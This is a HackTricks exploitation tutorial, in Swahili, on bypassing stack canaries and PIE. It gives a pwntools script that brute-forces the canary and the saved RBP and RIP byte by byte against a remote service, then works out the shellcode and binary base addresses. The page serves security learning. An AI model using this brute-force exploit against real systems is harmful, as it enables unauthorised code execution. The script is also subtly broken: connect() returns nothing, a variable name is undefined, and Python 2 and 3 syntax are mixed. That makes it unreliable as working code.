BF Addresses in the Stack
Reading time: 4 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Ikiwa unakutana na binary iliyo na ulinzi wa canary na PIE (Position Independent Executable) huenda unahitaji kupata njia ya kuzipita.
note
Kumbuka kwamba checksec
huenda isiweze kugundua kwamba binary ina ulinzi wa canary ikiwa hii ilikusanywa kwa njia ya statically na haiwezi kutambua kazi hiyo.
Hata hivyo, unaweza kugundua hili kwa mikono ikiwa unapata kwamba thamani imehifadhiwa kwenye stack mwanzoni mwa wito wa kazi na thamani hii inakaguliwa kabla ya kutoka.
Brute-Force Addresses
Ili kupita PIE unahitaji kuvuja anwani fulani. Na ikiwa binary haivuji anwani zozote, bora ni kujaribu RBP na RIP zilizohifadhiwa kwenye stack katika kazi iliyo hatarini.
Kwa mfano, ikiwa binary ina ulinzi kwa kutumia both canary na PIE, unaweza kuanza kujaribu canary, kisha bytes 8 zinazofuata (x64) zitakuwa RBP iliyohifadhiwa na bytes 8 zinazofuata zitakuwa RIP iliyohifadhiwa.
tip
Inatarajiwa kwamba anwani ya kurudi ndani ya stack inahusiana na msimbo mkuu wa binary, ambayo, ikiwa udhaifu uko kwenye msimbo wa binary, kawaida itakuwa hivyo.
Ili kujaribu RBP na RIP kutoka kwa binary unaweza kubaini kwamba byte iliyokisiwa kuwa sahihi ni sahihi ikiwa programu inatoa kitu au haijashindwa. Kazi ile ile kama ilivyoandikwa kwa ajili ya kujaribu canary inaweza kutumika kujaribu RBP na RIP:
from pwn import *
def connect():
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
Jambo la mwisho unahitaji kushinda PIE ni kuhesabu anwani muhimu kutoka kwa zilizovuja anwani: RBP na RIP.
Kutoka kwa RBP unaweza kuhesabu wapi unandika shell yako kwenye stack. Hii inaweza kuwa muhimu sana kujua wapi utaandika mfuatano "/bin/sh\x00" ndani ya stack. Ili kuhesabu umbali kati ya RBP iliyovuja na shellcode yako unaweza tu kuweka breakpoint baada ya kuvuja RBP na kuangalia wapi shellcode yako iko, kisha, unaweza kuhesabu umbali kati ya shellcode na RBP:
INI_SHELLCODE = RBP - 1152
Kutoka kwa RIP unaweza kuhesabu anwani ya msingi ya binary ya PIE ambayo unahitaji ili kuunda mnyororo wa ROP halali.
Ili kuhesabu anwani ya msingi fanya tu objdump -d vunbinary
na angalia anwani za disassemble za hivi karibuni:
Katika mfano huo unaweza kuona kwamba ni Byte 1 na nusu pekee zinazohitajika kutafuta msimbo wote, kisha, anwani ya msingi katika hali hii itakuwa RIP iliyovuja lakini ikimalizika kwenye "000". Kwa mfano ikiwa umevuja 0x562002970ecf
anwani ya msingi ni 0x562002970000
elf.address = RIP - (RIP & 0xfff)
Improvements
Kulingana na uchambuzi fulani kutoka kwa chapisho hili, inawezekana kwamba wakati wa kuvuja thamani za RBP na RIP, seva haitakufa na baadhi ya thamani ambazo si sahihi na skripti ya BF itadhani kuwa imepata zile sahihi. Hii ni kwa sababu inawezekana kwamba anwani fulani hazitavunja hata kama hakuna zile sahihi kabisa.
Kulingana na chapisho hilo la blog, inapendekezwa kuongeza ucheleweshaji mfupi kati ya maombi kwa seva.
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.